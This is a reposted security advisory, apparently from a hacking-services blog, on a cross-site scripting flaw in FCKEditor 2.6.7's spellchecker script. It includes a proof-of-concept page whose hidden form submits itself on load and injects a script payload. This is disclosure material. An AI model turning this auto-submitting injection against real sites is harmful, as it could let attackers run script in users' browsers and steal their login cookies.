Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86390026

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/54188/info

FCKEditor is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FCKEditor 2.6.7 is vulnerable; prior versions may also be affected. 

<html> <body> <iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe> <form method="post" name="sender" action="http://www.example.com/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"; target="hidden"> <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");</script><!--' /> </form> </body> <script>document.sender.submit(); </script> </html>